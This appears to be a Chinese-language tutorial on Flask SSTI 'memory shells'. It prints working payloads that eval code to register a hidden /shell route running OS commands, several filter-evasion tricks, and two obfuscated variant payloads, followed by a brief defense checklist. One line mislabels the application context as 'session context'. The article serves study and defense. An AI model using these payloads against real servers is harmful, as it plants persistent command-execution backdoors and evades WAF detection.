Python 内存马分析
字数 1454 2025-08-29 08:31:35

Python 内存马分析与防御指南

一、前言

Python 内存马是一种基于 Flask 框架的 SSTI (Server-Side Template Injection) 漏洞利用技术。攻击者通过注入恶意代码,在服务器内存中动态创建路由,实现持久化后门访问。

二、Flask 框架基础

1. Flask 请求上下文管理机制

Flask 使用两种上下文:

  • 请求上下文 (request context)
  • 应用上下文 (session context)

请求上下文实例化后会被 push 到栈 _request_ctx_stack 中,这是一个栈结构,可以通过获取栈顶元素来获取当前请求。

2. 路由注册机制

Flask 通过 @app.route() 装饰器注册路由,底层实际调用 add_url_rule 方法:

app.add_url_rule(rule, endpoint, view_func, ...)

参数说明:

  • rule: URL规则,必须以/开头
  • endpoint: 端点名称,用于url_for反向解析
  • view_func: 视图函数

三、漏洞原理

1. SSTI 漏洞示例

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def hello_world():
    person = 'knave'
    if request.args.get('name'):
        person = request.args.get('name')
    template = '<h1>Hi, %s.</h1>' % person
    return render_template_string(template)

if __name__ == '__main__':
    app.run()

当用户输入包含模板注入代码时,如 {{7*7}},会导致代码执行。

2. 内存马核心Payload

url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",
    {'_request_ctx_stack': url_for.__globals__['_request_ctx_stack'], 
     'app': url_for.__globals__['current_app']}
)

四、Payload 详细分析

1. 代码执行部分

url_for.__globals__['__builtins__']['eval'] 解析:

  • url_for: Flask内置函数
  • __globals__: 返回函数所在模块命名空间的所有变量
  • __builtins__: Python内置模块,包含eval、exec等函数

2. 路由注入部分

app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(...).read()):

  • 动态添加/shell路由
  • 使用lambda匿名函数作为视图函数
  • 通过_request_ctx_stack.top.request.args.get('cmd')获取命令参数
  • 默认执行whoami命令

3. 上下文传递

{'_request_ctx_stack': url_for.__globals__['_request_ctx_stack'],
 'app': url_for.__globals__['current_app']}

确保eval执行时能获取到必要的全局变量。

五、Bypass 技术

1. 函数替换

  • url_for可替换为:

    • get_flashed_messages
    • request.__init__
    • request.application
  • eval可替换为exec等执行函数

2. 字符串拼接

['__bui'+'ltins__']['ev'+'al']

3. 属性访问替代

  • __globals__替换:
__getattribute__('__globa'+'ls__')
  • []访问替换:
.__getitem__() 或 .pop()

4. 模板标记绕过

  • 使用{% %}替代{{ }}
{% if request.application.__globals__.__builtins__.eval(...) %}1{% endif %}

5. 特殊字符绕过

  • _可用编码绕过:
\x5f\x5fclass\x5f\x5f
\u005f\u005fclass\u005f\u005f
  • 其他获取_的方法:
dir(0)[0][0]
request['args']
request['values']

6. 点号绕过

使用attr()[]

request|attr('application')
request['application']

六、变形Payload示例

变形Payload 1

request.application.__self__._get_data_for_json.__getattribute__('__globa' + 'ls__').__getitem__('__bui' + 'ltins__').__getitem__('ex' + 'ec')(
    "app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell', 'calc')).read())",
    {'_request_ct' + 'x_stack': get_flashed_messages.__getattribute__('__globa' + 'ls__').pop('_request_' + 'ctx_stack'),
     'app': get_flashed_messages.__getattribute__('__globa' + 'ls__').pop('curre' + 'nt_app')}
)

变形Payload 2

get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")(
    "app.add_ur" + "l_rule('/h3rmesk1t', 'h3rmesk1t', la" + "mbda :__imp" + "ort__('o" + "s').po" + "pen(_request_c" + "tx_stack.to" + "p.re" + "quest.args.get('shell')).re" + "ad())",
    {'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b': get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),
     'app': get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")}
)

七、防御措施

  1. 输入过滤

    • 对所有用户输入进行严格过滤
    • 禁止特殊字符如{{ }}{% %}
  2. 模板渲染安全

    • 避免使用render_template_string
    • 使用安全的模板引擎如Jinja2的自动转义功能
  3. 最小权限原则

    • 应用运行在低权限用户下
    • 禁用危险的内置函数
  4. 代码审计

    • 检查所有路由注册代码
    • 监控异常路由添加行为
  5. WAF防护

    • 部署Web应用防火墙
    • 配置SSTI攻击检测规则
  6. 依赖更新

    • 保持Flask和相关依赖库最新版本

通过以上措施,可以有效防范Python内存马攻击,保护Web应用安全。

Python 内存马分析与防御指南 一、前言 Python 内存马是一种基于 Flask 框架的 SSTI (Server-Side Template Injection) 漏洞利用技术。攻击者通过注入恶意代码,在服务器内存中动态创建路由,实现持久化后门访问。 二、Flask 框架基础 1. Flask 请求上下文管理机制 Flask 使用两种上下文: 请求上下文 (request context) 应用上下文 (session context) 请求上下文实例化后会被 push 到栈 _request_ctx_stack 中,这是一个栈结构,可以通过获取栈顶元素来获取当前请求。 2. 路由注册机制 Flask 通过 @app.route() 装饰器注册路由,底层实际调用 add_url_rule 方法: 参数说明: rule : URL规则,必须以/开头 endpoint : 端点名称,用于url_ for反向解析 view_func : 视图函数 三、漏洞原理 1. SSTI 漏洞示例 当用户输入包含模板注入代码时,如 {{7*7}} ,会导致代码执行。 2. 内存马核心Payload 四、Payload 详细分析 1. 代码执行部分 url_for.__globals__['__builtins__']['eval'] 解析: url_for : Flask内置函数 __globals__ : 返回函数所在模块命名空间的所有变量 __builtins__ : Python内置模块,包含eval、exec等函数 2. 路由注入部分 app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(...).read()) : 动态添加 /shell 路由 使用lambda匿名函数作为视图函数 通过 _request_ctx_stack.top.request.args.get('cmd') 获取命令参数 默认执行 whoami 命令 3. 上下文传递 确保eval执行时能获取到必要的全局变量。 五、Bypass 技术 1. 函数替换 url_for 可替换为: get_flashed_messages request.__init__ request.application eval 可替换为 exec 等执行函数 2. 字符串拼接 3. 属性访问替代 __globals__ 替换: [] 访问替换: 4. 模板标记绕过 使用 {% %} 替代 {{ }} : 5. 特殊字符绕过 _ 可用编码绕过: 其他获取 _ 的方法: 6. 点号绕过 使用 attr() 或 [] : 六、变形Payload示例 变形Payload 1 变形Payload 2 七、防御措施 输入过滤 : 对所有用户输入进行严格过滤 禁止特殊字符如 {{ }} 、 {% %} 等 模板渲染安全 : 避免使用 render_template_string 使用安全的模板引擎如Jinja2的自动转义功能 最小权限原则 : 应用运行在低权限用户下 禁用危险的内置函数 代码审计 : 检查所有路由注册代码 监控异常路由添加行为 WAF防护 : 部署Web应用防火墙 配置SSTI攻击检测规则 依赖更新 : 保持Flask和相关依赖库最新版本 通过以上措施,可以有效防范Python内存马攻击,保护Web应用安全。